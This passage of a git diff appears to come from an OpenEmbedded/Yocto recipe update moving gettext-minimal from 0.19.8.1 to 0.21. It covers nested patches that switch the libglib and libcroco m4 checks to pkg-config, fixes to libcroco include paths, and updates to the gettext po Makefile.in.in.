++ AC_ARG_WITH([included-glib],
++ [ --with-included-glib use the glib2 included here],
++ [gl_cv_libglib_force_included=$withval],
++ [gl_cv_libglib_force_included=no])
++ AC_MSG_RESULT([$gl_cv_libglib_force_included])
+
+ gl_cv_libglib_use_included="$gl_cv_libglib_force_included"
+ LIBGLIB=
+ LTLIBGLIB=
+ INCGLIB=
+- ifelse([$1], [yes], , [
+- if test "$gl_cv_libglib_use_included" != yes; then
+- dnl Figure out whether we can use a preinstalled libglib-2.0, or have to use
+- dnl the included one.
+- AC_CACHE_VAL([gl_cv_libglib], [
+- gl_cv_libglib=no
+- gl_cv_LIBGLIB=
+- gl_cv_LTLIBGLIB=
+- gl_cv_INCGLIB=
+- gl_save_LIBS="$LIBS"
+- dnl Search for libglib2 and define LIBGLIB_2_0, LTLIBGLIB_2_0 and
+- dnl INCGLIB_2_0 accordingly.
+- dnl Don't use glib-config nor pkg-config, since it doesn't work when
+- dnl cross-compiling or when the C compiler in use is different from the
+- dnl one that built the library.
+- AC_LIB_LINKFLAGS_BODY([glib-2.0])
+- LIBS="$gl_save_LIBS $LIBGLIB_2_0"
+- AC_TRY_LINK([#include <glib.h>
+-#ifndef G_BEGIN_DECLS
+-error this glib.h includes a glibconfig.h from a glib version 1.x
+-#endif
+-],
+- [g_string_new ("foo");],
+- [gl_cv_libglib=yes
+- gl_cv_LIBGLIB="$LIBGLIB_2_0"
+- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
+- ])
+- if test "$gl_cv_libglib" != yes; then
+- gl_save_CPPFLAGS="$CPPFLAGS"
+- CPPFLAGS="$CPPFLAGS $INCGLIB_2_0"
+- AC_TRY_LINK([#include <glib.h>
+-#ifndef G_BEGIN_DECLS
+-error this glib.h includes a glibconfig.h from a glib version 1.x
+-#endif
+-],
+- [g_string_new ("foo");],
+- [gl_cv_libglib=yes
+- gl_cv_LIBGLIB="$LIBGLIB_2_0"
+- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
+- gl_cv_INCGLIB="$INCGLIB_2_0"
+- ])
+- if test "$gl_cv_libglib" != yes; then
+- dnl Often the include files are installed in /usr/include/glib-2.0
+- dnl and /usr/lib/glib-2.0/include.
+- if test -n "$LIBGLIB_2_0_PREFIX"; then
+- CPPFLAGS="$gl_save_CPPFLAGS -I$LIBGLIB_2_0_PREFIX/include/glib-2.0 -I$LIBGLIB_2_0_PREFIX/$acl_libdirstem/glib-2.0/include"
+- AC_TRY_LINK([#include <glib.h>
+-#ifndef G_BEGIN_DECLS
+-error this glib.h includes a glibconfig.h from a glib version 1.x
+-#endif
+-],
+- [g_string_new ("foo");],
+- [gl_cv_libglib=yes
+- gl_cv_LIBGLIB="$LIBGLIB_2_0"
+- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
+- gl_cv_INCGLIB="-I$LIBGLIB_2_0_PREFIX/include/glib-2.0 -I$LIBGLIB_2_0_PREFIX/$acl_libdirstem/glib-2.0/include"
+- ])
+- fi
+- fi
+- CPPFLAGS="$gl_save_CPPFLAGS"
+- fi
+- LIBS="$gl_save_LIBS"
+- ])
+- AC_MSG_CHECKING([for glib])
+- AC_MSG_RESULT([$gl_cv_libglib])
+- if test $gl_cv_libglib = yes; then
+- LIBGLIB="$gl_cv_LIBGLIB"
+- LTLIBGLIB="$gl_cv_LTLIBGLIB"
+- INCGLIB="$gl_cv_INCGLIB"
+- else
+- gl_cv_libglib_use_included=yes
+- fi
+- fi
+- ])
++ if test "$gl_cv_libglib_use_included" != yes; then
++ PKG_CHECK_MODULES([GLIB], [glib-2.0])
++ LIBGLIB="$GLIB_LIBS"
++ LTLIBGLIB="$GLIB_LIBS"
++ INCGLIB="$GLIB_CFLAGS"
++ fi
+ AC_SUBST([LIBGLIB])
+ AC_SUBST([LTLIBGLIB])
+ AC_SUBST([INCGLIB])
+diff --git a/libtextstyle/gnulib-m4/libcroco.m4 b/libtextstyle/gnulib-m4/libcroco.m4
+index bc53cc6..10b2455 100644
+--- a/libtextstyle/gnulib-m4/libcroco.m4
++++ b/libtextstyle/gnulib-m4/libcroco.m4
+@@ -1,99 +1,34 @@
+-# libcroco.m4 serial 3
+-dnl Copyright (C) 2006-2007, 2019 Free Software Foundation, Inc.
++# libcroco.m4 serial 2 (gettext-0.17)
++dnl Copyright (C) 2006, 2015-2016 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+ dnl with or without modifications, as long as this notice is preserved.
+
+ dnl From Bruno Haible.
+
+-dnl gl_LIBCROCO
+-dnl gives the user the option to decide whether to use the included or
+-dnl an external libcroco.
+-dnl gl_LIBCROCO(FORCE-INCLUDED)
+-dnl forces the use of the included or an external libcroco.
+ AC_DEFUN([gl_LIBCROCO],
+ [
+- ifelse([$1], [yes], , [
+- dnl libcroco depends on libglib.
+- AC_REQUIRE([gl_LIBGLIB])
+- ])
++ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
++ dnl libcroco depends on libglib.
++ AC_REQUIRE([gl_LIBGLIB])
+
+- ifelse([$1], , [
+- AC_MSG_CHECKING([whether included libcroco is requested])
+- AC_ARG_WITH([included-libcroco],
+- [ --with-included-libcroco use the libcroco included here],
+- [gl_cv_libcroco_force_included=$withval],
+- [gl_cv_libcroco_force_included=no])
+- AC_MSG_RESULT([$gl_cv_libcroco_force_included])
+- ], [gl_cv_libcroco_force_included=$1])
++ AC_MSG_CHECKING([whether included libcroco is requested])
++ AC_ARG_WITH([included-libcroco],
++ [ --with-included-libcroco use the libcroco included here],
++ [gl_cv_libcroco_force_included=$withval],
++ [gl_cv_libcroco_force_included=no])
++ AC_MSG_RESULT([$gl_cv_libcroco_force_included])
+
+ gl_cv_libcroco_use_included="$gl_cv_libcroco_force_included"
+ LIBCROCO=
+ LTLIBCROCO=
+ INCCROCO=
+- ifelse([$1], [yes], , [
+- if test "$gl_cv_libcroco_use_included" != yes; then
+- dnl Figure out whether we can use a preinstalled libcroco-0.6, or have to
+- dnl use the included one.
+- AC_CACHE_VAL([gl_cv_libcroco], [
+- gl_cv_libcroco=no
+- gl_cv_LIBCROCO=
+- gl_cv_LTLIBCROCO=
+- gl_cv_INCCROCO=
+- gl_save_LIBS="$LIBS"
+- dnl Search for libcroco and define LIBCROCO_0_6, LTLIBCROCO_0_6 and
+- dnl INCCROCO_0_6 accordingly.
+- dnl Don't use croco-0.6-config nor pkg-config, since it doesn't work when
+- dnl cross-compiling or when the C compiler in use is different from the
+- dnl one that built the library.
+- AC_LIB_LINKFLAGS_BODY([croco-0.6], [glib-2.0])
+- LIBS="$gl_save_LIBS $LIBCROCO_0_6"
+- AC_TRY_LINK([#include <libcroco-config.h>],
+- [const char *version = LIBCROCO_VERSION; return !version;],
+- [gl_cv_libcroco=yes
+- gl_cv_LIBCROCO="$LIBCROCO_0_6"
+- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
+- ])
+- if test "$gl_cv_libcroco" != yes; then
+- gl_save_CPPFLAGS="$CPPFLAGS"
+- CPPFLAGS="$CPPFLAGS $INCCROCO_0_6"
+- AC_TRY_LINK([#include <libcroco-config.h>],
+- [const char *version = LIBCROCO_VERSION; return !version;],
+- [gl_cv_libcroco=yes
+- gl_cv_LIBCROCO="$LIBCROCO_0_6"
+- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
+- gl_cv_INCCROCO="$INCCROCO_0_6"
+- ])
+- if test "$gl_cv_libcroco" != yes; then
+- dnl Often the include files are installed in
+- dnl /usr/include/libcroco-0.6/libcroco.
+- AC_TRY_LINK([#include <libcroco-0.6/libcroco/libcroco-config.h>],
+- [const char *version = LIBCROCO_VERSION; return !version;],
+- [gl_ABSOLUTE_HEADER([libcroco-0.6/libcroco/libcroco-config.h])
+- libcroco_include_dir=`echo "$gl_cv_absolute_libcroco_0_6_libcroco_libcroco_config_h" | sed -e 's,.libcroco-config\.h$,,'`
+- if test -d "$libcroco_include_dir"; then
+- gl_cv_libcroco=yes
+- gl_cv_LIBCROCO="$LIBCROCO_0_6"
+- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
+- gl_cv_INCCROCO="-I$libcroco_include_dir"
+- fi
+- ])
+- fi
+- CPPFLAGS="$gl_save_CPPFLAGS"
+- fi
+- LIBS="$gl_save_LIBS"
+- ])
+- AC_MSG_CHECKING([for libcroco])
+- AC_MSG_RESULT([$gl_cv_libcroco])
+- if test $gl_cv_libcroco = yes; then
+- LIBCROCO="$gl_cv_LIBCROCO"
+- LTLIBCROCO="$gl_cv_LTLIBCROCO"
+- INCCROCO="$gl_cv_INCCROCO"
+- else
+- gl_cv_libcroco_use_included=yes
+- fi
+- fi
+- ])
++ if test "$gl_cv_libcroco_use_included" != yes; then
++ PKG_CHECK_MODULES([CROCO], [libcroco-0.6])
++ LIBCROCO=$CROCO_LIBS
++ LTLIBCROCO=$CROCO_LIBS
++ INCCROCO=$CROCO_CFLAGS
++ fi
+ AC_SUBST([LIBCROCO])
+ AC_SUBST([LTLIBCROCO])
+ AC_SUBST([INCCROCO])
+diff --git a/libtextstyle/gnulib-m4/libglib.m4 b/libtextstyle/gnulib-m4/libglib.m4
+index 5853772..767fba2 100644
+--- a/libtextstyle/gnulib-m4/libglib.m4
++++ b/libtextstyle/gnulib-m4/libglib.m4
+@@ -6,100 +6,26 @@ dnl with or without modifications, as long as this notice is preserved.
+
+ dnl From Bruno Haible.
+
+-dnl gl_LIBGLIB
+-dnl gives the user the option to decide whether to use the included or
+-dnl an external libglib.
+-dnl gl_LIBGLIB(FORCE-INCLUDED)
+-dnl forces the use of the included or an external libglib.
+ AC_DEFUN([gl_LIBGLIB],
+ [
+- ifelse([$1], , [
+- AC_MSG_CHECKING([whether included glib is requested])
+- AC_ARG_WITH([included-glib],
+- [ --with-included-glib use the glib2 included here],
+- [gl_cv_libglib_force_included=$withval],
+- [gl_cv_libglib_force_included=no])
+- AC_MSG_RESULT([$gl_cv_libglib_force_included])
+- ], [gl_cv_libglib_force_included=$1])
++ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
++ AC_MSG_CHECKING([whether included glib is requested])
++ AC_ARG_WITH([included-glib],
++ [ --with-included-glib use the glib2 included here],
++ [gl_cv_libglib_force_included=$withval],
++ [gl_cv_libglib_force_included=no])
++ AC_MSG_RESULT([$gl_cv_libglib_force_included])
+
+ gl_cv_libglib_use_included="$gl_cv_libglib_force_included"
+ LIBGLIB=
+ LTLIBGLIB=
+ INCGLIB=
+- ifelse([$1], [yes], , [
+- if test "$gl_cv_libglib_use_included" != yes; then
+- dnl Figure out whether we can use a preinstalled libglib-2.0, or have to use
+- dnl the included one.
+- AC_CACHE_VAL([gl_cv_libglib], [
+- gl_cv_libglib=no
+- gl_cv_LIBGLIB=
+- gl_cv_LTLIBGLIB=
+- gl_cv_INCGLIB=
+- gl_save_LIBS="$LIBS"
+- dnl Search for libglib2 and define LIBGLIB_2_0, LTLIBGLIB_2_0 and
+- dnl INCGLIB_2_0 accordingly.
+- dnl Don't use glib-config nor pkg-config, since it doesn't work when
+- dnl cross-compiling or when the C compiler in use is different from the
+- dnl one that built the library.
+- AC_LIB_LINKFLAGS_BODY([glib-2.0])
+- LIBS="$gl_save_LIBS $LIBGLIB_2_0"
+- AC_TRY_LINK([#include <glib.h>
+-#ifndef G_BEGIN_DECLS
+-error this glib.h includes a glibconfig.h from a glib version 1.x
+-#endif
+-],
+- [g_string_new ("foo");],
+- [gl_cv_libglib=yes
+- gl_cv_LIBGLIB="$LIBGLIB_2_0"
+- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
+- ])
+- if test "$gl_cv_libglib" != yes; then
+- gl_save_CPPFLAGS="$CPPFLAGS"
+- CPPFLAGS="$CPPFLAGS $INCGLIB_2_0"
+- AC_TRY_LINK([#include <glib.h>
+-#ifndef G_BEGIN_DECLS
+-error this glib.h includes a glibconfig.h from a glib version 1.x
+-#endif
+-],
+- [g_string_new ("foo");],
+- [gl_cv_libglib=yes
+- gl_cv_LIBGLIB="$LIBGLIB_2_0"
+- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
+- gl_cv_INCGLIB="$INCGLIB_2_0"
+- ])
+- if test "$gl_cv_libglib" != yes; then
+- dnl Often the include files are installed in /usr/include/glib-2.0
+- dnl and /usr/lib/glib-2.0/include.
+- if test -n "$LIBGLIB_2_0_PREFIX"; then
+- CPPFLAGS="$gl_save_CPPFLAGS -I$LIBGLIB_2_0_PREFIX/include/glib-2.0 -I$LIBGLIB_2_0_PREFIX/$acl_libdirstem/glib-2.0/include"
+- AC_TRY_LINK([#include <glib.h>
+-#ifndef G_BEGIN_DECLS
+-error this glib.h includes a glibconfig.h from a glib version 1.x
+-#endif
+-],
+- [g_string_new ("foo");],
+- [gl_cv_libglib=yes
+- gl_cv_LIBGLIB="$LIBGLIB_2_0"
+- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
+- gl_cv_INCGLIB="-I$LIBGLIB_2_0_PREFIX/include/glib-2.0 -I$LIBGLIB_2_0_PREFIX/$acl_libdirstem/glib-2.0/include"
+- ])
+- fi
+- fi
+- CPPFLAGS="$gl_save_CPPFLAGS"
+- fi
+- LIBS="$gl_save_LIBS"
+- ])
+- AC_MSG_CHECKING([for glib])
+- AC_MSG_RESULT([$gl_cv_libglib])
+- if test $gl_cv_libglib = yes; then
+- LIBGLIB="$gl_cv_LIBGLIB"
+- LTLIBGLIB="$gl_cv_LTLIBGLIB"
+- INCGLIB="$gl_cv_INCGLIB"
+- else
+- gl_cv_libglib_use_included=yes
+- fi
+- fi
+- ])
++ if test "$gl_cv_libglib_use_included" != yes; then
++ PKG_CHECK_MODULES([GLIB], [glib-2.0])
++ LIBGLIB="$GLIB_LIBS"
++ LTLIBGLIB="$GLIB_LIBS"
++ INCGLIB="$GLIB_CFLAGS"
++ fi
+ AC_SUBST([LIBGLIB])
+ AC_SUBST([LTLIBGLIB])
+ AC_SUBST([INCGLIB])
+diff --git a/libtextstyle/lib/term-styled-ostream.c b/libtextstyle/lib/term-styled-ostream.c
+index 5484800..16793fa 100644
+--- a/libtextstyle/lib/term-styled-ostream.c
++++ b/libtextstyle/lib/term-styled-ostream.c
+@@ -28,15 +28,15 @@
+
+ #include <stdlib.h>
+
+-#include <cr-om-parser.h>
+-#include <cr-sel-eng.h>
+-#include <cr-style.h>
+-#include <cr-rgb.h>
++#include <libcroco/cr-om-parser.h>
++#include <libcroco/cr-sel-eng.h>
++#include <libcroco/cr-style.h>
++#include <libcroco/cr-rgb.h>
+ /* <cr-fonts.h> has a broken double-inclusion guard in libcroco-0.6.1. */
+ #ifndef __CR_FONTS_H__
+-# include <cr-fonts.h>
++# include <libcroco/cr-fonts.h>
+ #endif
+-#include <cr-string.h>
++#include <libcroco/cr-string.h>
+
+ #include "term-ostream.h"
+ #include "mem-hash-map.h"
+diff --git a/libtextstyle/lib/term-styled-ostream.oo.c b/libtextstyle/lib/term-styled-ostream.oo.c
+index 2ff978f..5ffb17a 100644
+--- a/libtextstyle/lib/term-styled-ostream.oo.c
++++ b/libtextstyle/lib/term-styled-ostream.oo.c
+@@ -22,15 +22,15 @@
+
+ #include <stdlib.h>
+
+-#include <cr-om-parser.h>
+-#include <cr-sel-eng.h>
+-#include <cr-style.h>
+-#include <cr-rgb.h>
++#include <libcroco/cr-om-parser.h>
++#include <libcroco/cr-sel-eng.h>
++#include <libcroco/cr-style.h>
++#include <libcroco/cr-rgb.h>
+ /* <cr-fonts.h> has a broken double-inclusion guard in libcroco-0.6.1. */
+ #ifndef __CR_FONTS_H__
+-# include <cr-fonts.h>
++# include <libcroco/cr-fonts.h>
+ #endif
+-#include <cr-string.h>
++#include <libcroco/cr-string.h>
+
+ #include "term-ostream.h"
+ #include "mem-hash-map.h"
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.19.8.1/0001-PATCH-Disable-the-test-to-convert-euc-jp.patch b/meta/recipes-core/gettext/gettext-minimal-0.19.8.1/0001-PATCH-Disable-the-test-to-convert-euc-jp.patch
deleted file mode 100644
index 29ef2a5a63..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.19.8.1/0001-PATCH-Disable-the-test-to-convert-euc-jp.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-[PATCH] Disable the test to convert euc-jp
-
-Remove the test "Test against HP-UX 11.11 bug:
-No converter from EUC-JP to UTF-8 is provided"
-since we don't support HP-UX and if the euc-jp is not
-installed on the host, the dependence will be built without
-iconv support and will cause guile-native building fail.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Roy Li <rongqing.li@windriver.com>
----
- iconv.m4 | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/iconv.m4 b/iconv.m4
-index 4e37363..35f54bd 100644
---- a/iconv.m4
-+++ b/iconv.m4
-@@ -165,6 +165,7 @@ AC_DEFUN([AM_ICONV_LINK],
- }
- }
- #endif
-+#if 0
- /* Test against HP-UX 11.11 bug: No converter from EUC-JP to UTF-8 is
- provided. */
- if (/* Try standardized names. */
-@@ -176,6 +177,7 @@ AC_DEFUN([AM_ICONV_LINK],
- /* Try HP-UX names. */
- && iconv_open ("utf8", "eucJP") == (iconv_t)(-1))
- result |= 16;
-+#endif
- return result;
- ]])],
- [am_cv_func_iconv_works=yes], ,
---
-2.0.1
-
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.19.8.1/aclocal.tgz b/meta/recipes-core/gettext/gettext-minimal-0.19.8.1/aclocal.tgz
deleted file mode 100644
index 9b2d1f561d..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.19.8.1/aclocal.tgz
+++ /dev/null
Binary files differ
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.19.8.1/remove-potcdate.sin b/meta/recipes-core/gettext/gettext-minimal-0.19.8.1/remove-potcdate.sin
deleted file mode 100644
index 2436c49e78..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.19.8.1/remove-potcdate.sin
+++ /dev/null
@@ -1,19 +0,0 @@
-# Sed script that remove the POT-Creation-Date line in the header entry
-# from a POT file.
-#
-# The distinction between the first and the following occurrences of the
-# pattern is achieved by looking at the hold space.
-/^"POT-Creation-Date: .*"$/{
-x
-# Test if the hold space is empty.
-s/P/P/
-ta
-# Yes it was empty. First occurrence. Remove the line.
-g
-d
-bb
-:a
-# The hold space was nonempty. Following occurrences. Do nothing.
-x
-:b
-}
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.19.8.1/COPYING b/meta/recipes-core/gettext/gettext-minimal-0.21/COPYING
index 3671ab6985..3671ab6985 100644
--- a/meta/recipes-core/gettext/gettext-minimal-0.19.8.1/COPYING
+++ b/meta/recipes-core/gettext/gettext-minimal-0.21/COPYING
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.19.8.1/Makefile.in.in b/meta/recipes-core/gettext/gettext-minimal-0.21/Makefile.in.in
index 38c293d2ed..6b25f0d916 100644
--- a/meta/recipes-core/gettext/gettext-minimal-0.19.8.1/Makefile.in.in
+++ b/meta/recipes-core/gettext/gettext-minimal-0.21/Makefile.in.in
@@ -1,13 +1,14 @@
# Makefile for PO directory in any package using GNU gettext.
-# Copyright (C) 1995-1997, 2000-2007, 2009-2010 by Ulrich Drepper <drepper@gnu.ai.mit.edu>
+# Copyright (C) 1995-2000 Ulrich Drepper <drepper@gnu.ai.mit.edu>
+# Copyright (C) 2000-2020 Free Software Foundation, Inc.
#
# Copying and distribution of this file, with or without modification,
# are permitted in any medium without royalty provided the copyright
# notice and this notice are preserved. This file is offered as-is,
# without any warranty.
#
-# Origin: gettext-0.19.8
-GETTEXT_MACRO_VERSION = 0.19
+# Origin: gettext-0.21
+GETTEXT_MACRO_VERSION = 0.20
PACKAGE = @PACKAGE@
VERSION = @VERSION@
@@ -52,16 +53,13 @@ GMSGFMT_ = @GMSGFMT@
GMSGFMT_no = @GMSGFMT@
GMSGFMT_yes = @GMSGFMT_015@
GMSGFMT = $(GMSGFMT_$(USE_MSGCTXT))
-MSGFMT_ = @MSGFMT@
-MSGFMT_no = @MSGFMT@
-MSGFMT_yes = @MSGFMT_015@
-MSGFMT = $(MSGFMT_$(USE_MSGCTXT))
XGETTEXT_ = @XGETTEXT@
XGETTEXT_no = @XGETTEXT@
XGETTEXT_yes = @XGETTEXT_015@
XGETTEXT = $(XGETTEXT_$(USE_MSGCTXT))
-MSGMERGE = msgmerge
+MSGMERGE = @MSGMERGE@
MSGMERGE_UPDATE = @MSGMERGE@ --update
+MSGMERGE_FOR_MSGFMT_OPTION = @MSGMERGE_FOR_MSGFMT_OPTION@
MSGINIT = msginit
MSGCONV = msgconv
MSGFILTER = msgfilter
@@ -92,27 +90,44 @@ DISTFILESDEPS = $(DISTFILESDEPS_$(DIST_DEPENDS_ON_UPDATE_PO))
# Makevars gets inserted here. (Don't remove this line!)
-.SUFFIXES:
-.SUFFIXES: .po .gmo .mo .sed .sin .nop .po-create .po-update
+all: all-@USE_NLS@
-.po.mo:
- @echo "$(MSGFMT) -c -o $@ $<"; \
- $(MSGFMT) -c -o t-$@ $< && mv t-$@ $@
+.SUFFIXES:
+.SUFFIXES: .po .gmo .sed .sin .nop .po-create .po-update
+
+# The .pot file, stamp-po, .po files, and .gmo files appear in release tarballs.
+# The GNU Coding Standards say in
+# <https://www.gnu.org/prep/standards/html_node/Makefile-Basics.html>:
+# "GNU distributions usually contain some files which are not source files
+# ... . Since these files normally appear in the source directory, they
+# should always appear in the source directory, not in the build directory.
+# So Makefile rules to update them should put the updated files in the
+# source directory."
+# Therefore we put these files in the source directory, not the build directory.
+
+# During .po -> .gmo conversion, take into account the most recent changes to
+# the .pot file. This eliminates the need to update the .po files when the
+# .pot file has changed, which would be troublesome if the .po files are put
+# under version control.
+$(GMOFILES): $(srcdir)/$(DOMAIN).pot
.po.gmo:
@lang=`echo $* | sed -e 's,.*/,,'`; \
test "$(srcdir)" = . && cdcmd="" || cdcmd="cd $(srcdir) && "; \
- echo "$${cdcmd}rm -f $${lang}.gmo && $(GMSGFMT) -c --statistics --verbose -o $${lang}.gmo $${lang}.po"; \
- cd $(srcdir) && rm -f $${lang}.gmo && $(GMSGFMT) -c --statistics --verbose -o t-$${lang}.gmo $${lang}.po && mv t-$${lang}.gmo $${lang}.gmo
+ echo "$${cdcmd}rm -f $${lang}.gmo && $(MSGMERGE) $(MSGMERGE_FOR_MSGFMT_OPTION) -o $${lang}.1po $${lang}.po $(DOMAIN).pot && $(GMSGFMT) -c --statistics --verbose -o $${lang}.gmo $${lang}.1po && rm -f $${lang}.1po"; \
+ cd $(srcdir) && \
+ rm -f $${lang}.gmo && \
+ $(MSGMERGE) $(MSGMERGE_FOR_MSGFMT_OPTION) -o $${lang}.1po $${lang}.po $(DOMAIN).pot && \
+ $(GMSGFMT) -c --statistics --verbose -o t-$${lang}.gmo $${lang}.1po && \
+ mv t-$${lang}.gmo $${lang}.gmo && \
+ rm -f $${lang}.1po
.sin.sed:
sed -e '/^#/d' $< > t-$@
mv t-$@ $@
-all: all-@USE_NLS@
-
-all-yes: stamp-po
+all-yes: $(srcdir)/stamp-po
all-no:
# Ensure that the gettext macros and this Makefile.in.in are in sync.
@@ -126,24 +141,24 @@ CHECK_MACRO_VERSION = \
# internationalized messages, no $(srcdir)/$(DOMAIN).pot is created (because
# we don't want to bother translators with empty POT files). We assume that
# LINGUAS is empty in this case, i.e. $(POFILES) and $(GMOFILES) are empty.
-# In this case, stamp-po is a nop (i.e. a phony target).
-
-# stamp-po is a timestamp denoting the last time at which the CATALOGS have
-# been loosely updated. Its purpose is that when a developer or translator
-# checks out the package via CVS, and the $(DOMAIN).pot file is not in CVS,
-# "make" will update the $(DOMAIN).pot and the $(CATALOGS), but subsequent
-# invocations of "make" will do nothing. This timestamp would not be necessary
-# if updating the $(CATALOGS) would always touch them; however, the rule for
-# $(POFILES) has been designed to not touch files that don't need to be
-# changed.
-stamp-po: $(srcdir)/$(DOMAIN).pot
+# In this case, $(srcdir)/stamp-po is a nop (i.e. a phony target).
+
+# $(srcdir)/stamp-po is a timestamp denoting the last time at which the CATALOGS
+# have been loosely updated. Its purpose is that when a developer or translator
+# checks out the package from a version control system, and the $(DOMAIN).pot
+# file is not under version control, "make" will update the $(DOMAIN).pot and
+# the $(CATALOGS), but subsequent invocations of "make" will do nothing. This
+# timestamp would not be necessary if updating the $(CATALOGS) would always
+# touch them; however, the rule for $(POFILES) has been designed to not touch
+# files that don't need to be changed.
+$(srcdir)/stamp-po: $(srcdir)/$(DOMAIN).pot
@$(CHECK_MACRO_VERSION)
test ! -f $(srcdir)/$(DOMAIN).pot || \
test -z "$(GMOFILES)" || $(MAKE) $(GMOFILES)
@test ! -f $(srcdir)/$(DOMAIN).pot || { \
- echo "touch stamp-po" && \
- echo timestamp > stamp-poT && \
- mv stamp-poT stamp-po; \
+ echo "touch $(srcdir)/stamp-po" && \
+ echo timestamp > $(srcdir)/stamp-poT && \
+ mv $(srcdir)/stamp-poT $(srcdir)/stamp-po; \
}
# Note: Target 'all' must not depend on target '$(DOMAIN).pot-update',
@@ -159,11 +174,9 @@ $(DOMAIN).pot-update: $(POTFILES) $(srcdir)/POTFILES.in remove-potcdate.sed
package_gnu="$(PACKAGE_GNU)"; \
test -n "$$package_gnu" || { \
if { if (LC_ALL=C find --version) 2>/dev/null | grep GNU >/dev/null; then \
- LC_ALL=C find -L $(top_srcdir) -maxdepth 1 -type f \
- -size -10000000c -exec grep 'GNU @PACKAGE@' \
- /dev/null '{}' ';' 2>/dev/null; \
+ LC_ALL=C find -L $(top_srcdir) -maxdepth 1 -type f -size -10000000c -exec grep -i 'GNU @PACKAGE@' /dev/null '{}' ';' 2>/dev/null; \
else \
- LC_ALL=C grep 'GNU @PACKAGE@' $(top_srcdir)/* 2>/dev/null; \
+ LC_ALL=C grep -i 'GNU @PACKAGE@' $(top_srcdir)/* 2>/dev/null; \
fi; \
} | grep -v 'libtool:' >/dev/null; then \
package_gnu=yes; \
@@ -184,26 +197,29 @@ $(DOMAIN).pot-update: $(POTFILES) $(srcdir)/POTFILES.in remove-potcdate.sed
case `$(XGETTEXT) --version | sed 1q | sed -e 's,^[^0-9]*,,'` in \
'' | 0.[0-9] | 0.[0-9].* | 0.1[0-5] | 0.1[0-5].* | 0.16 | 0.16.[0-1]*) \
$(XGETTEXT) --default-domain=$(DOMAIN) --directory=$(top_srcdir) \
- --add-comments=TRANSLATORS: $(XGETTEXT_OPTIONS) @XGETTEXT_EXTRA_OPTIONS@ \
+ --add-comments=TRANSLATORS: \
--files-from=$(srcdir)/POTFILES.in \
--copyright-holder='$(COPYRIGHT_HOLDER)' \
--msgid-bugs-address="$$msgid_bugs_address" \
+ $(XGETTEXT_OPTIONS) @XGETTEXT_EXTRA_OPTIONS@ \
;; \
*) \
$(XGETTEXT) --default-domain=$(DOMAIN) --directory=$(top_srcdir) \
- --add-comments=TRANSLATORS: $(XGETTEXT_OPTIONS) @XGETTEXT_EXTRA_OPTIONS@ \
+ --add-comments=TRANSLATORS: \
--files-from=$(srcdir)/POTFILES.in \
--copyright-holder='$(COPYRIGHT_HOLDER)' \
--package-name="$${package_prefix}@PACKAGE@" \
--package-version='@VERSION@' \
--msgid-bugs-address="$$msgid_bugs_address" \
+ $(XGETTEXT_OPTIONS) @XGETTEXT_EXTRA_OPTIONS@ \
;; \
esac
test ! -f $(DOMAIN).po || { \
if test -f $(srcdir)/$(DOMAIN).pot-header; then \
sed -e '1,/^#$$/d' < $(DOMAIN).po > $(DOMAIN).1po && \
- cat $(srcdir)/$(DOMAIN).pot-header $(DOMAIN).1po > $(DOMAIN).po; \
- rm -f $(DOMAIN).1po; \
+ cat $(srcdir)/$(DOMAIN).pot-header $(DOMAIN).1po > $(DOMAIN).po && \
+ rm -f $(DOMAIN).1po \
+ || exit 1; \
fi; \
if test -f $(srcdir)/$(DOMAIN).pot; then \
sed -f remove-potcdate.sed < $(srcdir)/$(DOMAIN).pot > $(DOMAIN).1po && \
@@ -228,17 +244,19 @@ $(srcdir)/$(DOMAIN).pot:
# This target rebuilds a PO file if $(DOMAIN).pot has changed.
# Note that a PO file is not touched if it doesn't need to be changed.
$(POFILES): $(POFILESDEPS)
+ @test -f $(srcdir)/$(DOMAIN).pot || $(MAKE) $(srcdir)/$(DOMAIN).pot
@lang=`echo $@ | sed -e 's,.*/,,' -e 's/\.po$$//'`; \
if test -f "$(srcdir)/$${lang}.po"; then \
- test -f $(srcdir)/$(DOMAIN).pot || $(MAKE) $(srcdir)/$(DOMAIN).pot; \
test "$(srcdir)" = . && cdcmd="" || cdcmd="cd $(srcdir) && "; \
- echo "$${cdcmd}$(MSGMERGE_UPDATE) $(MSGMERGE_OPTIONS) --lang=$${lang} $${lang}.po $(DOMAIN).pot"; \
+ echo "$${cdcmd}$(MSGMERGE_UPDATE) $(MSGMERGE_OPTIONS) --lang=$${lang} --previous $${lang}.po $(DOMAIN).pot"; \
cd $(srcdir) \
- && { case `$(MSGMERGE) --version | sed 1q | sed -e 's,^[^0-9]*,,'` in \
- '' | 0.[0-9] | 0.[0-9].* | 0.1[0-7] | 0.1[0-7].*) \
+ && { case `$(MSGMERGE_UPDATE) --version | sed 1q | sed -e 's,^[^0-9]*,,'` in \
+ '' | 0.[0-9] | 0.[0-9].* | 0.1[0-5] | 0.1[0-5].*) \
$(MSGMERGE_UPDATE) $(MSGMERGE_OPTIONS) $${lang}.po $(DOMAIN).pot;; \
+ 0.1[6-7] | 0.1[6-7].*) \
+ $(MSGMERGE_UPDATE) $(MSGMERGE_OPTIONS) --previous $${lang}.po $(DOMAIN).pot;; \
*) \
